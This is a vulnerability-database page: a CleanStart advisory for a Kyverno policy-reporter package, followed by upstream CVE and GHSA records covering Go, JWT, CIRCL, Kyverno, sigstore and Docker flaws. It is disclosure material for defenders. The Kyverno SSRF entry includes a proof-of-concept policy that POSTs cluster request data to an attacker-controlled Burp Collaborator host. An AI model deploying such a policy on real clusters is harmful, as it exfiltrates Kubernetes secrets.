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Vulnerability from cleanstart
Multiple security vulnerabilities affect the kyverno-policy-reporter-kyverno-plugin-fips package. Cancelling a query (e. See references for individual vulnerability details.
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "kyverno-policy-reporter-kyverno-plugin-fips"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.2-r4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "Multiple security vulnerabilities affect the kyverno-policy-reporter-kyverno-plugin-fips package. Cancelling a query (e. See references for individual vulnerability details.",
"id": "CLEANSTART-2026-PD17156",
"modified": "2026-01-29T18:58:54Z",
"published": "2026-01-30T15:00:22.872625Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-PD17156"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-47907"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/GHSA-2464-8J7C-4CJM"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/GHSA-29WX-VH33-7X7R"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/GHSA-2X5J-VHC8-9CWM"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/GHSA-459X-Q9HG-4GPQ"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/GHSA-4QG8-FJ49-PXJH"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/GHSA-4VQ8-7JFC-9CVP"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/GHSA-6M8W-JC87-6CR7"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/GHSA-88JX-383Q-W4QC"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/GHSA-C5Q2-7R4C-MV6G"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/GHSA-C6GW-W398-HV78"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/GHSA-C77R-FH37-X2PX"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/GHSA-F83F-XPX7-FFPW"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/GHSA-FV92-FJC5-JJ9H"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/GHSA-JRR2-X33P-6HVC"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/GHSA-MH63-6H87-95CP"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/GHSA-QJVC-P88J-J9RM"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/GHSA-R5P3-955P-5GGQ"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47907"
}
],
"related": [],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Cancelling a query (e",
"upstream": [
"CVE-2025-47907",
"GHSA-2464-8J7C-4CJM",
"GHSA-29WX-VH33-7X7R",
"GHSA-2X5J-VHC8-9CWM",
"GHSA-459X-Q9HG-4GPQ",
"GHSA-4QG8-FJ49-PXJH",
"GHSA-4VQ8-7JFC-9CVP",
"GHSA-6M8W-JC87-6CR7",
"GHSA-88JX-383Q-W4QC",
"GHSA-C5Q2-7R4C-MV6G",
"GHSA-C6GW-W398-HV78",
"GHSA-C77R-FH37-X2PX",
"GHSA-F83F-XPX7-FFPW",
"GHSA-FV92-FJC5-JJ9H",
"GHSA-JRR2-X33P-6HVC",
"GHSA-MH63-6H87-95CP",
"GHSA-QJVC-P88J-J9RM",
"GHSA-R5P3-955P-5GGQ"
]
}
CVE-2025-47907 (GCVE-0-2025-47907)
Vulnerability from cvelistv5 – Published: 2025-08-07 15:25 – Updated: 2025-11-04 21:10- CWE-362 - Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
| Vendor | Product | Version | |
|---|---|---|---|
| Go standard library | database/sql |
Affected:
0 , < 1.23.12
(semver)
Affected: 1.24.0 , < 1.24.6 (semver) |
{
"containers": {
"adp": [
{
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 7,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L",
"version": "3.1"
}
},
{
"other": {
"content": {
"id": "CVE-2025-47907",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-08-07T15:45:26.297503Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-08-07T15:48:03.634Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
},
{
"providerMetadata": {
"dateUpdated": "2025-11-04T21:10:56.083Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"url": "http://www.openwall.com/lists/oss-security/2025/08/06/1"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://pkg.go.dev",
"defaultStatus": "unaffected",
"packageName": "database/sql",
"product": "database/sql",
"programRoutines": [
{
"name": "Rows.Scan"
},
{
"name": "Row.Scan"
}
],
"vendor": "Go standard library",
"versions": [
{
"lessThan": "1.23.12",
"status": "affected",
"version": "0",
"versionType": "semver"
},
{
"lessThan": "1.24.6",
"status": "affected",
"version": "1.24.0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"value": "Spike Curtis from Coder"
}
],
"descriptions": [
{
"lang": "en",
"value": "Cancelling a query (e.g. by cancelling the context passed to one of the query methods) during a call to the Scan method of the returned Rows can result in unexpected results if other queries are being made in parallel. This can result in a race condition that may overwrite the expected results with those of another query, causing the call to Scan to return either unexpected results from the other query or an error."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027)",
"lang": "en"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-08-07T15:25:30.704Z",
"orgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
"shortName": "Go"
},
"references": [
{
"url": "https://go.dev/cl/693735"
},
{
"url": "https://go.dev/issue/74831"
},
{
"url": "https://groups.google.com/g/golang-announce/c/x5MKroML2yM"
},
{
"url": "https://pkg.go.dev/vuln/GO-2025-3849"
}
],
"title": "Incorrect results returned from Rows.Scan in database/sql"
}
},
"cveMetadata": {
"assignerOrgId": "1bb62c36-49e3-4200-9d77-64a1400537cc",
"assignerShortName": "Go",
"cveId": "CVE-2025-47907",
"datePublished": "2025-08-07T15:25:30.704Z",
"dateReserved": "2025-05-13T23:31:29.597Z",
"dateUpdated": "2025-11-04T21:10:56.083Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GHSA-2464-8J7C-4CJM
Vulnerability from github – Published: 2025-08-21 14:37 – Updated: 2026-01-27 21:01Summary
Use of this library in a security-critical context may result in leaking sensitive information, if used to process sensitive fields.
Details
OpenBao (and presumably HashiCorp Vault) have surfaced error messages from mapstructure as follows:
https://github.com/openbao/openbao/blob/98c3a59c040efca724353ca46ca79bd5cdbab920/sdk/framework/field_data.go#L43-L50
_, _, err := d.getPrimitive(field, schema)
if err != nil {
return fmt.Errorf("error converting input for field %q: %w", field, err)
}
where this calls mapstructure.WeakDecode(...): https://github.com/openbao/openbao/blob/98c3a59c040efca724353ca46ca79bd5cdbab920/sdk/framework/field_data.go#L181-L193
func (d *FieldData) getPrimitive(k string, schema *FieldSchema) (interface{}, bool, error) {
raw, ok := d.Raw[k]
if !ok {
return nil, false, nil
}
switch t := schema.Type; t {
case TypeBool:
var result bool
if err := mapstructure.WeakDecode(raw, &result); err != nil {
return nil, false, err
}
return result, true, nil
Notably, WeakDecode(...) eventually calls one of the decode helpers, which surfaces the original value via strconv helpers:
https://github.com/go-viper/mapstructure/blob/8c61ec1924fcfa522f9fc6b4618c672db61d1a38/mapstructure.go#L720-L727
https://github.com/go-viper/mapstructure/blob/8c61ec1924fcfa522f9fc6b4618c672db61d1a38/mapstructure.go#L791-L798
https://github.com/go-viper/mapstructure/blob/8c61ec1924fcfa522f9fc6b4618c672db61d1a38/decode_hooks.go#L180
& more. These are different code paths than are fixed in the previous iteration at https://github.com/go-viper/mapstructure/security/advisories/GHSA-fv92-fjc5-jj9h.
PoC
To reproduce with OpenBao:
$ podman run --pull=always -p 8300:8300 openbao/openbao:latest server -dev -dev-root-token-id=root -dev-listen-address=0.0.0.0:8300
and in a new tab:
$ BAO_TOKEN=root BAO_ADDR=http://localhost:8300 bao auth enable userpass
Success! Enabled userpass auth method at: userpass/
$ curl -X PUT -H "X-Vault-Request: true" -H "X-Vault-Token: root" -d '{"ttl":"asdf"}' "http://localhost:8200/v1/auth/userpass/users/asdf"
--> server logs:
2025-06-25T21:32:25.101-0500 [ERROR] core: failed to run existence check: error="error converting input for field \"ttl\": time: invalid duration \"asdf\""
Impact
This is an information disclosure bug with little mitigation. See https://discuss.hashicorp.com/t/hcsec-2025-09-vault-may-expose-sensitive-information-in-error-logs-when-processing-malformed-data-with-the-kv-v2-plugin/74717 for a previous version. That version was fixed, but this is in the second part of that error message (starting at '' expected a map, got 'string' -- when the field type is string and a map is provided, we see the above information leak -- the previous example had a map type field with a string value provided).
This was rated 4.5 Medium by HashiCorp in the past iteration.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.3.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/go-viper/mapstructure/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-11065"
],
"database_specific": {
"cwe_ids": [
"CWE-117"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-21T14:37:19Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nUse of this library in a security-critical context may result in leaking sensitive information, if used to process sensitive fields.\n\n### Details\n\nOpenBao (and presumably HashiCorp Vault) have surfaced error messages from `mapstructure` as follows:\n\nhttps://github.com/openbao/openbao/blob/98c3a59c040efca724353ca46ca79bd5cdbab920/sdk/framework/field_data.go#L43-L50\n\n```go\n\t\t\t_, _, err := d.getPrimitive(field, schema)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"error converting input for field %q: %w\", field, err)\n\t\t\t}\n```\n\nwhere this calls `mapstructure.WeakDecode(...)`: https://github.com/openbao/openbao/blob/98c3a59c040efca724353ca46ca79bd5cdbab920/sdk/framework/field_data.go#L181-L193\n\n```go\n\nfunc (d *FieldData) getPrimitive(k string, schema *FieldSchema) (interface{}, bool, error) {\n\traw, ok := d.Raw[k]\n\tif !ok {\n\t\treturn nil, false, nil\n\t}\n\n\tswitch t := schema.Type; t {\n\tcase TypeBool:\n\t\tvar result bool\n\t\tif err := mapstructure.WeakDecode(raw, \u0026result); err != nil {\n\t\t\treturn nil, false, err\n\t\t}\n\t\treturn result, true, nil\n```\n\nNotably, `WeakDecode(...)` eventually calls one of the decode helpers, which surfaces the original value via `strconv` helpers:\n\nhttps://github.com/go-viper/mapstructure/blob/8c61ec1924fcfa522f9fc6b4618c672db61d1a38/mapstructure.go#L720-L727\n\nhttps://github.com/go-viper/mapstructure/blob/8c61ec1924fcfa522f9fc6b4618c672db61d1a38/mapstructure.go#L791-L798\n\nhttps://github.com/go-viper/mapstructure/blob/8c61ec1924fcfa522f9fc6b4618c672db61d1a38/decode_hooks.go#L180\n\n\u0026 more. These are different code paths than are fixed in the previous iteration at https://github.com/go-viper/mapstructure/security/advisories/GHSA-fv92-fjc5-jj9h.\n\n### PoC\n\nTo reproduce with OpenBao:\n\n```\n$ podman run --pull=always -p 8300:8300 openbao/openbao:latest server -dev -dev-root-token-id=root -dev-listen-address=0.0.0.0:8300\n```\n\nand in a new tab:\n\n```\n$ BAO_TOKEN=root BAO_ADDR=http://localhost:8300 bao auth enable userpass\nSuccess! Enabled userpass auth method at: userpass/\n$ curl -X PUT -H \"X-Vault-Request: true\" -H \"X-Vault-Token: root\" -d \u0027{\"ttl\":\"asdf\"}\u0027 \"http://localhost:8200/v1/auth/userpass/users/asdf\"\n\n--\u003e server logs:\n\n2025-06-25T21:32:25.101-0500 [ERROR] core: failed to run existence check: error=\"error converting input for field \\\"ttl\\\": time: invalid duration \\\"asdf\\\"\"\n```\n\n### Impact\n\nThis is an information disclosure bug with little mitigation. See https://discuss.hashicorp.com/t/hcsec-2025-09-vault-may-expose-sensitive-information-in-error-logs-when-processing-malformed-data-with-the-kv-v2-plugin/74717 for a previous version. That version was fixed, but this is in the second part of that error message (starting at `\u0027\u0027 expected a map, got \u0027string\u0027` -- when the field type is `string` and a `map` is provided, we see the above information leak -- the previous example had a `map` type field with a `string` value provided).\n\nThis was rated 4.5 Medium by HashiCorp in the past iteration.",
"id": "GHSA-2464-8j7c-4cjm",
"modified": "2026-01-27T21:01:22Z",
"published": "2025-08-21T14:37:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-viper/mapstructure/security/advisories/GHSA-2464-8j7c-4cjm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11065"
},
{
"type": "WEB",
"url": "https://github.com/go-viper/mapstructure/commit/742921c9ba2854d27baa64272487fc5075d2c39c"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2025-11065"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2391829"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-viper/mapstructure"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2025-3900"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "go-viper\u0027s mapstructure May Leak Sensitive Information in Logs When Processing Malformed Data"
}
GHSA-29WX-VH33-7X7R
Vulnerability from github – Published: 2024-11-04 23:22 – Updated: 2024-11-12 21:32Summary
Unclear documentation of the error behavior in ParseWithClaims can lead to situation where users are potentially not checking errors in the way they should be. Especially, if a token is both expired and invalid, the errors returned by ParseWithClaims return both error codes. If users only check for the jwt.ErrTokenExpired using error.Is, they will ignore the embedded jwt.ErrTokenSignatureInvalid and thus potentially accept invalid tokens.
Fix
We have back-ported the error handling logic from the v5 branch to the v4 branch. In this logic, the ParseWithClaims function will immediately return in "dangerous" situations (e.g., an invalid signature), limiting the combined errors only to situations where the signature is valid, but further validation failed (e.g., if the signature is valid, but is expired AND has the wrong audience). This fix is part of the 4.5.1 release.
Workaround
We are aware that this changes the behaviour of an established function and is not 100 % backwards compatible, so updating to 4.5.1 might break your code. In case you cannot update to 4.5.0, please make sure that you are properly checking for all errors ("dangerous" ones first), so that you are not running in the case detailed above.
token, err := /* jwt.Parse or similar */
if token.Valid {
fmt.Println("You look nice today")
} else if errors.Is(err, jwt.ErrTokenMalformed) {
fmt.Println("That's not even a token")
} else if errors.Is(err, jwt.ErrTokenUnverifiable) {
fmt.Println("We could not verify this token")
} else if errors.Is(err, jwt.ErrTokenSignatureInvalid) {
fmt.Println("This token has an invalid signature")
} else if errors.Is(err, jwt.ErrTokenExpired) || errors.Is(err, jwt.ErrTokenNotValidYet) {
// Token is either expired or not active yet
fmt.Println("Timing is everything")
} else {
fmt.Println("Couldn't handle this token:", err)
}
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/golang-jwt/jwt/v4"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-51744"
],
"database_specific": {
"cwe_ids": [
"CWE-347",
"CWE-755"
],
"github_reviewed": true,
"github_reviewed_at": "2024-11-04T23:22:41Z",
"nvd_published_at": "2024-11-04T22:15:03Z",
"severity": "LOW"
},
"details": "### Summary\n\nUnclear documentation of the error behavior in `ParseWithClaims` can lead to situation where users are potentially not checking errors in the way they should be. Especially, if a token is both expired and invalid, the errors returned by `ParseWithClaims` return both error codes. If users only check for the `jwt.ErrTokenExpired ` using `error.Is`, they will ignore the embedded `jwt.ErrTokenSignatureInvalid` and thus potentially accept invalid tokens.\n\n### Fix\n\nWe have back-ported the error handling logic from the `v5` branch to the `v4` branch. In this logic, the `ParseWithClaims` function will immediately return in \"dangerous\" situations (e.g., an invalid signature), limiting the combined errors only to situations where the signature is valid, but further validation failed (e.g., if the signature is valid, but is expired AND has the wrong audience). This fix is part of the 4.5.1 release.\n\n### Workaround \n\nWe are aware that this changes the behaviour of an established function and is not 100 % backwards compatible, so updating to 4.5.1 might break your code. In case you cannot update to 4.5.0, please make sure that you are properly checking for all errors (\"dangerous\" ones first), so that you are not running in the case detailed above.\n\n```Go\ntoken, err := /* jwt.Parse or similar */\nif token.Valid {\n\tfmt.Println(\"You look nice today\")\n} else if errors.Is(err, jwt.ErrTokenMalformed) {\n\tfmt.Println(\"That\u0027s not even a token\")\n} else if errors.Is(err, jwt.ErrTokenUnverifiable) {\n\tfmt.Println(\"We could not verify this token\")\n} else if errors.Is(err, jwt.ErrTokenSignatureInvalid) {\n\tfmt.Println(\"This token has an invalid signature\")\n} else if errors.Is(err, jwt.ErrTokenExpired) || errors.Is(err, jwt.ErrTokenNotValidYet) {\n\t// Token is either expired or not active yet\n\tfmt.Println(\"Timing is everything\")\n} else {\n\tfmt.Println(\"Couldn\u0027t handle this token:\", err)\n}\n```",
"id": "GHSA-29wx-vh33-7x7r",
"modified": "2024-11-12T21:32:34Z",
"published": "2024-11-04T23:22:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/golang-jwt/jwt/security/advisories/GHSA-29wx-vh33-7x7r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51744"
},
{
"type": "WEB",
"url": "https://github.com/golang-jwt/jwt/commit/7b1c1c00a171c6c79bbdb40e4ce7d197060c1c2c"
},
{
"type": "PACKAGE",
"url": "https://github.com/golang-jwt/jwt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Bad documentation of error handling in ParseWithClaims can lead to potentially dangerous situations"
}
GHSA-2X5J-VHC8-9CWM
Vulnerability from github – Published: 2025-06-10 21:18 – Updated: 2025-10-23 17:36Impact
The CIRCL implementation of FourQ fails to validate user-supplied low-order points during Diffie-Hellman key exchange, potentially allowing attackers to force the identity point and compromise session security.
Moreover, there is an incorrect point validation in ScalarMult can lead to incorrect results in the isEqual function and if a point is on the curve.
Patches
Version 1.6.1 (https://github.com/cloudflare/circl/tree/v1.6.1) mitigates the identified issues.
We acknowledge Alon Livne (Botanica Software Labs) for the reported findings.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/cloudflare/circl"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-8556"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2025-06-10T21:18:33Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Impact\nThe CIRCL implementation of FourQ fails to validate user-supplied low-order points during Diffie-Hellman key exchange, potentially allowing attackers to force the identity point and compromise session security.\n\nMoreover, there is an incorrect point validation in ScalarMult can lead to incorrect results in the isEqual function and if a point is on the curve.\n\n\n### Patches\nVersion 1.6.1 (https://github.com/cloudflare/circl/tree/v1.6.1) mitigates the identified issues.\n\nWe acknowledge Alon Livne (Botanica Software Labs) for the reported findings.",
"id": "GHSA-2x5j-vhc8-9cwm",
"modified": "2025-10-23T17:36:51Z",
"published": "2025-06-10T21:18:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cloudflare/circl/security/advisories/GHSA-2x5j-vhc8-9cwm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8556"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2025-8556"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2371624"
},
{
"type": "PACKAGE",
"url": "https://github.com/cloudflare/circl"
},
{
"type": "WEB",
"url": "https://github.com/cloudflare/circl/tree/v1.6.1"
},
{
"type": "WEB",
"url": "https://news.ycombinator.com/item?id=45669593"
},
{
"type": "WEB",
"url": "https://www.botanica.software/blog/cryptographic-issues-in-cloudflares-circl-fourq-implementation"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "CIRCL-Fourq: Missing and wrong validation can lead to incorrect results"
}
GHSA-459X-Q9HG-4GPQ
Vulnerability from github – Published: 2025-04-15 21:19 – Updated: 2025-04-23 15:11Summary
An attacker with the ability to create Kyverno policies in a Kubernetes cluster can use Service Call functionality to perform SSRF to a server under their control in order to exfiltrate data.
Details
According to the documentation, Service Call is intended to address services located inside the Kubernetes cluster, but this method can also resolve external addresses, which allows making requests outside the Kubernetes cluster.
https://kyverno.io/docs/writing-policies/external-data-sources/#variables-from-service-calls
PoC
Create a slightly modified Cluster Policy from the documentation. In the url we specify the address of a server controlled by the attacker, for example Burp Collaborator.
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: check-namespaces
spec:
rules:
- name: call-extension
match:
any:
- resources:
kinds:
- ConfigMap
context:
- name: result
apiCall:
method: POST
data:
- key: namespace
value: "{{request.namespace}}"
service:
url: http://bo3gyn4qwyjnrx87fjnrsd4p7gd71xpm.oastify.com/payload
validate:
message: "namespace {{request.namespace}} is not allowed"
deny:
conditions:
all:
- key: "{{ result.allowed }}"
operator: Equals
value: false
Now let's create some configmap:
kubectl create configmap special-config --from-literal=special.how=very --from-literal=special.type=charm
Look at the Burp Collaborator logs:
Impact
An attacker creating such a policy can obtain the contents of all Kubernetes resources created in the cluster, including secrets containing sensitive information.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/kyverno/kyverno"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.13.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-15T21:19:37Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nAn attacker with the ability to create Kyverno policies in a Kubernetes cluster can use Service Call functionality to perform SSRF to a server under their control in order to exfiltrate data.\n\n### Details\nAccording to the documentation, Service Call is intended to address services located inside the Kubernetes cluster, but this method can also resolve external addresses, which allows making requests outside the Kubernetes cluster.\n\nhttps://kyverno.io/docs/writing-policies/external-data-sources/#variables-from-service-calls\n\n### PoC\nCreate a slightly modified Cluster Policy from the documentation. In the url we specify the address of a server controlled by the attacker, for example Burp Collaborator.\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n name: check-namespaces \nspec:\n rules:\n - name: call-extension\n match:\n any:\n - resources:\n kinds:\n - ConfigMap\n context:\n - name: result\n apiCall:\n method: POST\n data:\n - key: namespace\n value: \"{{request.namespace}}\"\n service:\n url: http://bo3gyn4qwyjnrx87fjnrsd4p7gd71xpm.oastify.com/payload \n validate:\n message: \"namespace {{request.namespace}} is not allowed\"\n deny:\n conditions:\n all:\n - key: \"{{ result.allowed }}\"\n operator: Equals\n value: false\n```\nNow let\u0027s create some configmap:\n```bash\nkubectl create configmap special-config --from-literal=special.how=very --from-literal=special.type=charm\n```\nLook at the Burp Collaborator logs:\n\u003cimg width=\"723\" alt=\"\u0421\u043d\u0438\u043c\u043e\u043a \u044d\u043a\u0440\u0430\u043d\u0430 2025-02-21 \u0432 17 31 25\" src=\"https://github.com/user-attachments/assets/9445a71a-6687-430a-8476-3fd546bc2bf2\" /\u003e\n\n\n### Impact\nAn attacker creating such a policy can obtain the contents of all Kubernetes resources created in the cluster, including secrets containing sensitive information.",
"id": "GHSA-459x-q9hg-4gpq",
"modified": "2025-04-23T15:11:02Z",
"published": "2025-04-15T21:19:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-459x-q9hg-4gpq"
},
{
"type": "PACKAGE",
"url": "https://github.com/kyverno/kyverno"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2025-3615"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Kyverno vulnerable to SSRF via Service Calls"
}
GHSA-4QG8-FJ49-PXJH
Vulnerability from github – Published: 2025-12-05 18:19 – Updated: 2025-12-05 18:19Impact
Excessive memory allocation
Function api.ParseJSONRequest currently splits (via a call to strings.Split) an optionally-provided OID (which is untrusted data) on periods. Similarly, function api.getContentType splits the Content-Type header (which is also untrusted data) on an application string.
As a result, in the face of a malicious request with either an excessively long OID in the payload containing many period characters or a malformed Content-Type header, a call to api.ParseJSONRequest or api.getContentType incurs allocations of O(n) bytes (where n stands for the length of the function's argument). Relevant weakness: CWE-405: Asymmetric Resource Consumption (Amplification)
Patches
Upgrade to v2.0.3.
Workarounds
There are no workarounds with the service itself. If the service is behind a load balancer, configure the load balancer to reject excessively large requests.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.0.2"
},
"package": {
"ecosystem": "Go",
"name": "github.com/sigstore/timestamp-authority"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-66564"
],
"database_specific": {
"cwe_ids": [
"CWE-405"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-05T18:19:00Z",
"nvd_published_at": "2025-12-04T23:15:47Z",
"severity": "HIGH"
},
"details": "### Impact\n\n**Excessive memory allocation**\n\nFunction [api.ParseJSONRequest](https://github.com/sigstore/timestamp-authority/blob/26d7d426d3000abdbdf2df34de56bb92246c0365/pkg/api/timestamp.go#L63) currently splits (via a call to [strings.Split](https://pkg.go.dev/strings#Split)) an optionally-provided OID (which is untrusted data) on periods. Similarly, function [api.getContentType](https://github.com/sigstore/timestamp-authority/blob/26d7d426d3000abdbdf2df34de56bb92246c0365/pkg/api/timestamp.go#L114) splits the `Content-Type` header (which is also untrusted data) on an `application` string.\n\nAs a result, in the face of a malicious request with either an excessively long OID in the payload containing many period characters or a malformed `Content-Type` header, a call to `api.ParseJSONRequest` or `api.getContentType` incurs allocations of O(n) bytes (where n stands for the length of the function\u0027s argument). Relevant weakness: [CWE-405: Asymmetric Resource Consumption (Amplification)](https://cwe.mitre.org/data/definitions/405.html)\n\n### Patches\n\nUpgrade to v2.0.3.\n\n### Workarounds\n\nThere are no workarounds with the service itself. If the service is behind a load balancer, configure the load balancer to reject excessively large requests.",
"id": "GHSA-4qg8-fj49-pxjh",
"modified": "2025-12-05T18:19:00Z",
"published": "2025-12-05T18:19:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sigstore/timestamp-authority/security/advisories/GHSA-4qg8-fj49-pxjh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66564"
},
{
"type": "WEB",
"url": "https://github.com/sigstore/timestamp-authority/commit/0cae34e197d685a14904e0bad135b89d13b69421"
},
{
"type": "PACKAGE",
"url": "https://github.com/sigstore/timestamp-authority"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Sigstore Timestamp Authority allocates excessive memory during request parsing"
}
GHSA-4VQ8-7JFC-9CVP
Vulnerability from github – Published: 2025-07-29 19:56 – Updated: 2026-03-27 17:37Moby is an open source container framework developed by Docker Inc. that is distributed as Docker Engine, Mirantis Container Runtime, and various other downstream projects/products. The Moby daemon component (dockerd), which is developed as moby/moby is commonly referred to as Docker, or Docker Engine.
Firewalld is a daemon used by some Linux distributions to provide a dynamically managed firewall. When Firewalld is running, Docker uses its iptables backend to create rules, including rules to isolate containers in one bridge network from containers in other bridge networks.
Impact
The iptables rules created by Docker are removed when firewalld is reloaded using, for example "firewall-cmd --reload", "killall -HUP firewalld", or "systemctl reload firewalld".
When that happens, Docker must re-create the rules. However, in affected versions of Docker, the iptables rules that isolate containers in different bridge networks from each other are not re-created.
Once these rules have been removed, containers have access to any port, on any container, in any non-internal bridge network, running on the Docker host.
Containers running in networks created with --internal or equivalent have no access to other networks. Containers that are only connected to these networks remain isolated after a firewalld reload.
Where Docker Engine is not running in the host's network namespace, it is unaffected. Including, for example, Rootless Mode, and Docker Desktop.
Patches
